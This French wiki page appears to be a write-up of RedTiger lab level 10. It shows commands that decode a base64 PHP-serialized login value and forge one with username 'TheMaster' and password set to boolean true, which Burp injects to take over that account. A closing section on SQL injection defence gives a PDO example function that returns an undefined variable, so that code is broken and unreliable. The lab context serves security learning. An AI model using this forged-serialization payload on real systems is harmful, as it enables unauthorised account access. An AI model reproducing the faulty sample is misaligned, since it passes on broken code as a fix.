Outils d'utilisateurs

Outils du Site


redtiger_level10

Redtiger level 10

Adresse de l’épreuve : http://redtiger.labs.overthewire.org/level10.php

L'objectif de ce dernier challenge est d'obtenir un accès au compte de l'utilisateur TheMaster. Lors de la soumission du formulaire, une chaîne encodée en base64 est envoyée au serveur.

echo -n "YToyOntzOjg6InVzZXJuYW1lIjtzOjY6Ik1vbmtleSI7czo4OiJwYXNzd29yZCI7czoxMjoiMDgxNXBhc3N3b3JkIjt9" | base64 -d
a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";}

Cette nouvelle chaîne est sérialisée (fonction serialize()). Cette structure de chaîne permet de ne perdre aucune donnée et surtout de pouvoir spécifier les types de variables. Dans notre cas, il est possible de la modifier et la ré-encoder.

Modifions le nom de l'utilisateur en TheMaster ainsi que sa taille, puis tentons de passer la variable password en booléen à TRUE (b:1).

echo -n "a:2:{s:8:\"username\";s:9:\"TheMaster\";s:8:\"password\";b:1;}" | base64
YToyOntzOjg6InVzZXJuYW1lIjtzOjk6IlRoZU1hc3RlciI7czo4OiJwYXNzd29yZCI7YjoxO30=

On intercepte la requête avec Burp, on modifier la valeur envoyée par notre nouveau payload :

Nous sommes connectés et nous avons fini le hackit.

CONCLUSION

Le challenge ici présent traite des différentes techniques d'exploitation d'injections SQL. Bien entendu, il en existe d'autre et leur exploitation dépend de la logique métier de l'application. Comme nous avons pu le voir, ces vulnérabilités nous permettent de récupérer des informations insérées en base de données. Il est donc important, afin de garantir la confidentialité et parfois l'intégrité, de protéger un code où l'utilisateur y intervient. En effet, un potentiel attaquant exploitera ces vulnérabilités via les entrées utilisateurs, qu'elles soient passées dans l'URL ou par simple formulaire.

Afin de se prémunir de ces attaques, il est important de connaître le type de données que l'utilisateur devra fournir. À la suite de cela, effectuer des vérifications (côté serveur) sur la chaîne entrée par l'utilisateur (entier, chaîne de caractère, etc.). Depuis PHP 5.1, les développeurs ont mis en place un système appelé PDO} permettant de séparer la requête logique de l'entrée utilisateur. Ces requêtes préparées permettent de protéger les applications web des injections SQL.

Un exemple vaut mieux qu'un long discours:

function getUserInfos($identifiant)
{
	global $connection;
	
	$requete = $connection->prepare('SELECT prenom,nom FROM users WHERE id=:identifiant');
	$requete->bindParam(':identifiant',$identifiant, PDO::PARAM_INT);
	$requete->execute();
	$reponse = $requete->fetch(PDO::FETCH_ASSOC);
	
	return $reponse_infos;
}

Ce script prend en paramètre l'entrée utilisateur comme un entier. … Néanmoins, le risque zéro n'existe pas.

redtiger_level10.txt · Dernière modification: 2017/04/09 15:33 (modification externe)